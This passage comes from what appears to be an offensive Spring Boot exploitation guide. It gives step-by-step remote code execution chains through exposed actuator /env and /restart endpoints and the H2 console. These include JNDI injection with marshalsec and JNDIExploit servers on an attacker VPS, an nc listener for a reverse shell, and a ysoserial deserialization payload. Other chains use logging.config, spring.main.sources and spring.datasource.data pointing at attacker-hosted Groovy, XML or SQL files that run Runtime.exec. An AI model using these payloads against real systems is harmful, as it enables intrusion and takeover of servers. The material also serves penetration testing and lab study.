Copy the class file compiled in Step 2 to the root directory of the HTTP server.
Download marshalsec, use the following command to set up the corresponding ldap service:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Generally use nc to monitor the port and wait for the rebound shell
nc -lv 443
According to the actual situation, replace jsessionid=xxxxxx
, www.example.com
and ldap://your-vps-ip:1389/JNDIObject
in the following data
POST /h2-console/login.do?jsessionid=xxxxxx Host: www.example.com Content-Type: application/x-www-form-urlencoded Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Spring Boot + H2 database JNDI injection
repository/springboot-h2-database-rce
Normal access:
http://127.0.0.1:9096/h2-console
- You can POST request to the
/env
interface of the target website to set properties - You can POST to request the
/refresh
interface of the target website to refresh the configuration (there isspring-boot-starter-actuator
dependency) mysql-connector-java
dependency exists in the target environment- The target can request the attacker's server (the request can go out of the Internet)
GET requests /env
or /actuator/env
, search for the keyword mysql-connector-java
in the environment variable (classpath), and record its version number (5.x or 8.x);
Search and observe whether there are common deserialization gadget dependencies in the environment variables, such as commons-collections
, Jdk7u21
, Jdk8u20
, etc.;
Search for the keyword spring.datasource.url
, and record its value
value, so as to restore its normal jdbc url value later.
Run the springboot-jdbc-deserialization-rce.py script on the server you control, and Use ysoserial to customize the command to be executed:
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
Generate payload.ser
in the same directory of the script to deserialize the payload file for use by the script.
⚠️ Modifying this attribute will temporarily cause all normal database services of the website to be unavailable, which will affect the business, please operate with caution!
mysql-connector-java 5.x version sets property value as:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x version sets property value as:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=corresponding attribute value
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"corresponding attribute value"}
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
Try to access the known database query interface of the website, for example: /product/list
, or find other ways to actively trigger the source website to perform database query, and then the vulnerability will be triggered
After the deserialization exploit is completed, use the method of Step 3 to restore the original value
value of spring.datasource.url
recorded in Step 1
- The spring.datasource.url property is set to the external malicious mysql jdbc url address
- A new spring.datasource.url property value is set after refresh
- When the website performs database query and other operations, it will try to use malicious mysql jdbc url to establish a new database connection
- The malicious mysql server will then return deserialized payload data at the appropriate stage of connection establishment
- The mysql-connector-java that the target depends on will deserialize the set gadget, causing RCE vulnerability
[New-Exploit-Technique-In-Java-Deserialization-Attack](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization -Attack.pdf)
You need to configure spring.datasource.url, spring.datasource.username, spring.datasource.password in application.properties to ensure that you can connect to the mysql database normally, otherwise the program will report an error and exit when it starts
repository/springboot-mysql-jdbc-rce
Normal access:
http://127.0.0.1:9097/actuator/env
Trigger the vulnerability after sending the payload:
http://127.0.0.1:9097/product/list
- You can POST request to the
/env
interface of the target website to set properties - You can POST request to the
/restart
interface of the target website to restart the application - Ordinary JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1(LDAP), but the related environment can be bypassed
⚠️ The target can request the attacker's HTTP server (the request can go out of the Internet), otherwise restart will cause the program to exit abnormally⚠️ If the HTTP server returns a file containing malformed xml syntax content, the program will exit abnormally⚠️ The object returned by the JNDI service needs to implement thejavax.naming.spi.ObjectFactory
interface, otherwise the program will exit abnormally
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# Use python to quickly open http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Place the example.xml
file ending with xml
in the root directory. The actual content depends on the JNDI service used in step 2:
<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" /> </configuration>
Refer to article, modify JNDIExploit and start (you can also use other methods):
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
- The target machine sets the logback log configuration file URL address through the logging.config property
- restart After restarting the application, the program will request the URL address to obtain the content of the malicious xml file
- The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability)
- Use the
insertFormJNDI
tag thatlogback
relies on in the xml file to set the address of the external JNDI server - The target machine requests a malicious JNDI server, resulting in JNDI injection, resulting in an RCE vulnerability
spring boot actuator rce via jolokia
https://landgrey.me/blog/21/
repository/springboot-restart-rce
Normal access:
http://127.0.0.1:9098/actuator/env
- You can POST request to the
/env
interface of the target website to set properties - You can POST request to the
/restart
interface of the target website to restart the application ⚠️ The target can request the attacker's HTTP server (the request can go out of the Internet), otherwise restart will cause the program to exit abnormally⚠️ If the HTTP server returns a file containing malformed groovy syntax content, the program will exit abnormally⚠️ There needs to be groovy dependencies in the environment, otherwise the program will exit abnormally
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# Use python to quickly open http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Place the example.groovy
file ending with groovy
in the root directory, and the content is the groovy code that needs to be executed, for example:
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
- The target machine sets the logback log configuration file URL address through the logging.config property
- restart After restarting the application, the program will request the set URL address
- The
ch.qos.logback.classic.util.ContextInitializer.java
code file logic of thelogback-classic
component will determine whether the url ends withgroovy
- If the url ends with
groovy
, the groovy code in the file content will eventually be executed, causing an RCE vulnerability
repository/springboot-restart-rce
Normal access:
http://127.0.0.1:9098/actuator/env
- You can POST request to the
/env
interface of the target website to set properties - You can POST request to the
/restart
interface of the target website to restart the application ⚠️ The target can request the attacker's HTTP server (the request can go out of the Internet), otherwise restart will cause the program to exit abnormally⚠️ If the HTTP server returns a file containing malformed groovy syntax content, the program will exit abnormally⚠️ There needs to be groovy dependencies in the environment, otherwise the program will exit abnormally
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# Use python to quickly open http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Place the example.groovy
file ending with groovy
in the root directory, and the content is the groovy code that needs to be executed, for example:
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
- The target machine can set the URL address of the additional source that creates the ApplicationContext through the spring.main.sources property
- restart After restarting the application, the program will request the set URL address
- The
org.springframework.boot.BeanDefinitionLoader.java
file code logic in thespring-boot
component will determine whether the url ends with.groovy
- If the url ends with
.groovy
, the groovy code in the file content will eventually be executed, causing an RCE vulnerability
repository/springboot-restart-rce
Normal access:
http://127.0.0.1:9098/actuator/env
- You can POST request to the
/env
interface of the target website to set properties - You can POST request to the
/restart
interface of the target website to restart the application - Relevant dependencies of
h2database
andspring-boot-starter-data-jpa
need to exist in the environment ⚠️ The target can request the attacker's HTTP server (the request can go out of the Internet), otherwise restart will cause the program to exit abnormally⚠️ If the HTTP server returns a file containing malformed h2 sql syntax content, the program will exit abnormally
Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible
# Use python to quickly open http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Place a file with any name in the root directory, the content is the h2 sql code that needs to be executed, for example:
⚠️ The 'T5' method in the following payload can only be executed once by restart; the subsequent restart needs to be replaced with a new method name (such as T6) and a new sql URL address, and then it can be reused by restart, otherwise the second restart will restart the application will cause the program to exit abnormally
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2 ,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
- The target machine can set the URL address of the jdbc DML sql file through the spring.datasource.data property
- restart After restarting the application, the program will request the set URL address
- The
org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java
file code logic in thespring-boot-autoconfigure
component will use therunScripts
method to execute the h2 database sql code in the content of the request URL, causing RCE loophole
repository/springboot-restart-rce
Normal access:
http://127.0.0.1:9098/actuator/env